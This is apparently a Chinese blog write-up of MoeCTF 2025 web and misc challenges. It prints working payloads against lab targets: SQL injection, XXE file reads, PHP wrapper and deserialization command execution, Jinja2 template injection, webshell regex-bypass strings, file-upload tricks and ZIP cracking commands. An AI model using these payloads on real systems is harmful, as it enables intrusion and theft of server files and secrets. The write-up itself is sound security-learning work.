avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home moectf2025
文章

moectf2025

Posted 2025-10-5 Updated 2025-10- 28
By Administrator
63~82 min read

这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路

web

0

直接放到浏览器的控制台里

第一章

直接查看页面源码,找到一个jsp文件,里面直接就有flag

第二章

查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag。

第三章

根据提示修改level和manifestation的值得到flag

注意这里返回了一个小说解压缩密码

cBrtGRQSKeLvty0@lKyFpU@Z

发现可以解压一个03.zip,看到里面的小说。

第四章

第一关

bW9lY3Rme0Mw

第二关

bjZyNDd1MTQ3

第三关

本地访问:X-Forwarded-For:127.0.0.1

MTBuNV95MHVy

第四关

X2g3N1BfbDN2

第五关

M2xfMTVfcjM0

第六关

bGx5X2gxOWgh

第五章

../ 返回上层目录找到flag

第六章

sql注入

输入1'or'1'='1

Moe笑传之猜猜爆

这里看到页面的js文件中随机生成的随机数randomNumber,判断用户输入数字是否等于它,如果等于则从后端传回flag。

直接控制台输入randomNumber,返回它的值,再输入就行了。

第七关

fQ==

集合起来进行base64解密

第七章

从规定爬虫不允许扫描的文件推出要访问robots.txt

md5碰撞

第八章 天衍真言,星图显圣

省流:sql注入

获取列数

说明查询列数为2,且第一列是可见的

获取数据库名

获取表名

1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -

获取列名

1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -

获取值

1' UNION SELECT value, 1 FROM flag-- -

第九章

存在命令注入漏洞

找到flag

第十章

提示flag在flag.txt中,直接抓包访问/flag.txt

第十章 天机符阵_revenge

一句话总结:简单的xxe

随便输入,它会显示类似于这样的输出

  • DOMDocument::loadXML() - 后端使用XML解析器

  • Start tag expected, '<' not found - 期望XML格式但输入不是有效的XML

说明它期望我们输入的是xml格式的代码,再加上题目中提示的flag.txt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
    <解析>&xxe;</解析>
</contract>

11 第十一章 千机变·破妄之眼

首先这里提示GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。

那么就是脚本爆破,找到长度不一样的响应体返回

import requests
from itertools import permutations
import time

# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/"  # 替换成实际地址

# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]

print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")

# 目标响应长度
TARGET_LENGTH = 19704

found = False

for i, param_name in enumerate(all_permutations, 1):
    # 构造URL:参数名=参数值
    params = {param_name: param_name}

    try:
        response = requests.get(BASE_URL, params=params, timeout=5)

        # 打印进度
        print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")

        # 检查响应长度是否为目标长度
        if len(response.text) == TARGET_LENGTH:
            print("\n" + "=" * 50)
            print(f"找到目标!响应长度为 {TARGET_LENGTH}")
            print(f"成功的URL: {response.url}")
            print("-" * 30)
            print("响应体内容:")
            print(response.text)
            print("=" * 50)
            found = True
            break  # 找到后立即退出循环

        # 避免请求过快被屏蔽
        time.sleep(0.1)

    except requests.RequestException as e:
        print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")

print("\n爆破完成!")
if not found:
    print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")

发现一个find.php,发现在里面可以访问任意路径,

访问./flag时显示(flag就在这了,看不到吗,是老弟境界不够吧)

那么就是php://filter/convert.base64-encode/resource=./flag.php

因为此文件是一个php文件,解释器会自动执行它,所以返回的并不是一个源文件,而是一个执行结果,所以我们如果要看到php文件的源码就需要php://filter/convert.base64-encode/resource=读取文件之后进行编码再交给php解释器,这样我们解码之后就能看到完整的源码了。

第十二章

蚁剑一句话木马连接

摸金偶遇FLAG,拼尽全力难战胜

题目是在三秒内破解9位数的摩斯密码,手算当然是不可能的,要写脚本

(() => {
    const TICK = 120;          // 点数字间隔

    /* 1. 劫持 fetch(/get_challenge) */
    const _fetch = window.fetch;
    window.fetch = function (...args) {
        return _fetch.apply(this, args).then(resp => {
            const url = String(args[0]);
            if (url.includes('/get_challenge')) {
                resp.clone().json().then(d => {
                    if (d.numbers?.length === 9) {
                        console.log('[+] 拿到 numbers:', d.numbers.join(''));
                        autoClick(d.numbers);
                    }
                });
            }
            return resp;
        });
    };



    function autoClick(arr) {
        let i = 0;
        const next = () => {
            if (i === 9) { console.log('[+] 数字点击完成'); return; }
            const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
                        .find(b => b.dataset.value == arr[i]);
            if (btn) btn.click();
            i++;
            setTimeout(next, TICK);
        };
        next();
    }

    console.log('[+] 劫持已注入,点“开始挑战”即可');
})();

ai写的脚本,直接放进控制台就行了,再按开始按钮,这里注意要把浏览器的隐私端口关掉,不然会把verify的请求拦截。

第十三章

嗯,文件上传题

这都已经把限制写出来了。

开始翻笔记,试图唤醒沉睡的记忆

先上传一个正常的jpg文件,拦截之后修改,把它的hex头留下来(绕过FFD8FF),这道题有没有jpg后缀都无所谓(x.php也能行),主要是好像不能一句话木马连接,只能phpinfo显示它的php环境的完整配置,再在里面ctr+f搜索flag

第十四章 御神关·补天玉碑

一句话总结:又是一道文件上传,这次的重点在于.htaccess文件

简单介绍一下.htaccess是(Apache服务器的目录级配置文件,可以覆盖主服务器的配置,常用于URL重写、访问控制、MIME类型设置等),常见组合就是

好了,看题目

常规先上传一个带着恶意命令的jpg文件

上传一个.htaccess文件,这里的作用主要是讲1.jpg当作php执行,这样就会执行其中的php恶意代码

第十六章

首先看一下它给的源码

这里看到它把flag发到了一个随机命名的flag-*.txt格式的文件中

结合index页面中的会在后面自动加上.php,所以这里优先使用

data://包装器执行代码的方法

查看根目录

/?file=data://text/plain,<?php system('ls -la /');?>

flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt

读取此文件

/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>

第十七章

php反序列化,原理在于__destruct 这个魔术方法会在对象被销毁时自动调用

我们可以像这样先对php进行序列化,让其在反序列的时候执行我们需要的恶意代码。

先ls /,查看当前目录

发现一个flag文件,cat /flag打开

18 第十八章 万卷诡阁·功法连环

一句话总结:简单的php反序列化

私有属性在序列化时包含空字节%00,这些字符在URL中需要编码,否则会被错误解析。

19 第十九章 星穹真相·补天归源

稍微复杂一点的php反序列化

PersonC中的$name($age)是一个很好的代码执行点,所以我们要在此构造system("cat /flag")

简单写一下

因为$this->age和$age没啥关系,所以这里只要$this->name里没有“flag”就行了

19 第十九章_revenge

省流:更加复杂的php反序列化

<?php
// 定义与目标应用同名的空类(仅为生成同名序列化对象)

class Person
{
    public $name;
    public $id;
    public $age;
} 
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}

// 构造链
$a = new PersonA();
$a->name = null;            // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id   = "check";         // PersonA->__destruct 会调用 PersonC->check(...)
$a->age  = "cat /flag";     // 要执行的命令(会被传给 check)

$b = new PersonB();
$b->id   = $a;              // PersonB->id 指向 PersonA
$b->name = "'../flag.php'";     // 在 __invoke 中会被写入 PersonA->age(冗余但保持链一致)
$b->age  = null;

$c = new PersonC();
$c->id   = $b;              // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents";      // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age  = null;

// 生成 payload
$payload = serialize($c);

echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";

这个payload是跑得通的,再把相应的命令换一下找到flag,这里的flag在环境信息里,比如下面的

shell_exec -> /bin/cat /proc/self/environ | tr "\0" "\n" | head -n 50 ====

读取和显示服务器环境信息的

20 第二十章 幽冥血海·幻语心魔

一句话总结:SSTI,服务端模板注入

它给了一个php文件

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = render_template_string(f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
            </div>
            """)
    else:
        login_msg = ""

    return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

这里的代码直接将用户输入的 username 通过 f-string 插入到模板字符串中,然后使用 render_template_string() 渲染。

所以直接在username中读取文件

?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法,内层是 Python 对象操作语法。

这下面就是赛后复现的了

15 第十五章 归真关·竞时净魔

感觉是文件上传+条件竞争题

但是我上传+访问,访问的时候有时候显示的是200,但是里面的内容仍然是报错的。

这是...Webshell?

可如此访问文件,但找不到flag

?shell=?><?=`/???/??? /????/????/???????.???`?>

在这篇文章中提到可以用异或的方式绕过php正则表达式的一些限制。

https://marmalade.vip/minglingzhixingphpzhengzeraoguo.htm

文章中的${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo即为${_GET}{%ff}();&%ff=phpinfo,即?shell=${_GET}{%ff}();&%ff=phpinfo

原理式${_GET}{%ff} 会被当成一个字符串,通过对 %ff 赋值,即可变成 phpinfo ,加上括号即可调用。

所以这里我们直接传入${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo得到flag

这是...Webshell?_revenge

这篇文章里总结得挺全面的https://forum.butian.net/share/1048

这里文件会被存储到 /tmp/phpXXXXXX 。可以通过 /???/????????[@-[] 来匹配最后一个字符是大写的文件

?><?= `. /???/????????[@-[]`?>
POST /?shell=?%3E%3C?=%20`.%20/???/????????[@-[]`?%3E HTTP/1.1
Host: 127.0.0.1:34892
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 116


----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
cat /flag
----------123--

misc

misc入门指北

全选文档找到一个设置成白色的字,复制出来就是flag

2048_master

打开是一个exe文件,它说合成16348有惊喜。

用Cheat Engine把方块里的值改掉。跳出flag

Rush

用stegsolve工具查看每一帧,发现一个不全的二维码

用ps工具补全左上角定位符,就可以扫出来了

捂住一只耳

很明显的摩斯密码

ez_LSB

附件里是一个图片由于提示了像素的问题,怀疑是LSB

zsteg -a x.png

对整张 PNG 图片进行 所有已知方式的 LSB(最低有效位)隐写扫描,并输出所有可能藏有信息的地方。

base64解码得到flag

Pyjail 0

它这里说至于 flag 的位置?你可以参考 Web 第十二章(,我们f从第十二章知道flag不在具体的文件里而是在环境变量里,所以是在linux当前的环境变量文件里,也就是

/proc/self/environ

ez_锟斤拷????

锟斤拷 加密,可以找个在线网站直接解密

此编码产生的原因是将GBK和UTF-8编码混用了,所以将UTF-8格式的文件改成GBK格式就行。

weird_photo

说注意CRC,一眼crc宽高爆破

把宽高改高一点

encrypted_pdf

发现一个被加密的pdf,ilovepdf就有pdf解密的功能,放到里面解密

查看文件,发现一串很可以的字符

找到flag

Pyjail 1

这里给出了它的执行代码

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    result = eval(user_input)

但是我们仍然可以通过拼接等方式绕过黑名单。

SSTV

https://blog.csdn.net/orchid_sea/article/details/138075312

Enchantment

关于流量分析相关指令的文档https://www.freebuf.com/articles/others-articles/441868.html

在流量包中发现这里上传了一个png文件

将此对象转储之后,得到此图片

moectf{now_you_have_mastered_enchanting}

ez_ssl

题目说上传了一个 文件那就找找upload字段

这是一个TLS加密参数的文件,将此log文件导出后保存

配置首选项,再次查找flag发现上传了一个flag.zip文件

用binwalk 将flag.zip分离出来

binwalk -e aa.zip --run-as=root

发现是一个带密码的zip文件,里面有一个flag.txt

将之前上传的flag.zip的流量转为utf-8查看,发现末尾有提示为7位纯数字

这里直接爆破

flag.txt打开是一个OOK加密的文件,解密得到flag

万里挑一

一句话总结:zip字典爆破+zip已知明文攻击

给了很多的文件和口令用脚本把口令跑出来放进txt里面,然后用字典进行爆破

得到密钥:a296a5ec1385f394e8cb

注意到有个 明文.exe 应该是提示明文攻击。明文攻击需要知道加密文件的连续的至少12字节,且加密方法需要是ZipCrypto,

而exe文件的DOS头除了最后的4个字节都是一样的。于是就可以提取出来作为明文

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
./bkcrack -C flag.zip -c 明文.exe -p mingwen -o 64
./bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt

bkcrack常用参数:

-c 提取的密文部分
-p 提取的明文部分
-x 压缩包内目标文件的偏移地址 部分已知明文值
-C 加密压缩包
-o offset -p参数指定的明文在压缩包内目标文件的偏移量

具体参考这篇文章:https://www.freebuf.com/articles/network/255145.html

WebRepo

得到一个二维码,扫描之后得到binwalk的提示,用binwalk扫一下,发现是一个zip文件,再发现是一个.git文件

一键还原 flag.txt 到最近一次提交的状态

git log -- flag.txt
git restore --source=HEAD --staged --worktree -- flag.txt  

得到flag文件打开得到flag

哈基米难没露躲

翻译网站:https://lhlnb.top/hajimi/base64

Encrypted volume

一个rar文件打开之后得到两个文件

但是一个文件是0KB,打开之后也是空的,那为什么有这个文件呢,答案就在rar的hex码里。

这里看到在something_hide_here的后面有一个key.png,这说明这个rar文件里面隐藏了一个png文件,

用kali中的binwalk工具分离出图片

发现一个二维码,用QR扫描

得到:@(s<"A3F:89x541Ux[<

然后发现解压出来的volume是常见的加密卷文件,那么这个应该就是它的密钥

这里可以用VeraCrypthttps://veracrypt.io/zh-cn/Home.html,VeraCrypt 是一款免费、开源、跨平台的磁盘加密软件,它采用可否认的加密方式,这种加密的特点是不会留任何文件头,也就是说,在特殊情况下,你甚至可以否认这是一个加密卷

下载好之后看到如下界面

选择一个盘比如z盘,之后点击加载之后在密码框输入密钥,之后就得到一个txt文件,将其中的内容放到随波逐流里面解密,发现它是BrainFuck方式的加密,得到flag

刷题
刷题
License:  CC BY 4.0
Share

Further Reading

Nov 9, 2025

2025省赛初赛

web Upload1 发现文件后缀名Php可绕过,上传之后访问网址就得到flag EzSerialize php反序列化链子构造,访问flag.php <?php class User { private $name; private $role; pu

Oct 5, 2025

moectf2025

这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路 web 0 直接放到浏览器的控制台里 第一章 直接查看页面源码,找到一个jsp文件,里面直接就有flag 第二章 查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag

Aug 1, 2025

ctfshow菜狗杯题集

杂项签到 得到一个图片,kali里面 strings misc1.png //直接得到flag 损坏的压缩包 hex打开发现是png,改png后缀,图片上就有flag 谜之栅栏 strings 两个图片得到这两串字符,很明显的栅栏 ; .Lcfhwfaab2cb4af5a5820} ; .Ltso{

OLDER

Java反序列化-RMI流程分析

NEWER

Java反序列化-RMI的几种攻击方式

Recently Updated

  • 计算机网络核心考点整理总结
  • 仿晋江小说阅读器的鸿蒙app
  • 计算机网络6-应用层
  • 计算机网络5-运输层
  • 计算机网络4-网络层

Trending Tags

计算机网络 面试 src 安全运营 文件上传 php反序列化 xss csrf ssrf xxe

Contents

©2026 cindahy. Some rights reserved.

Using the Halo theme Chirpy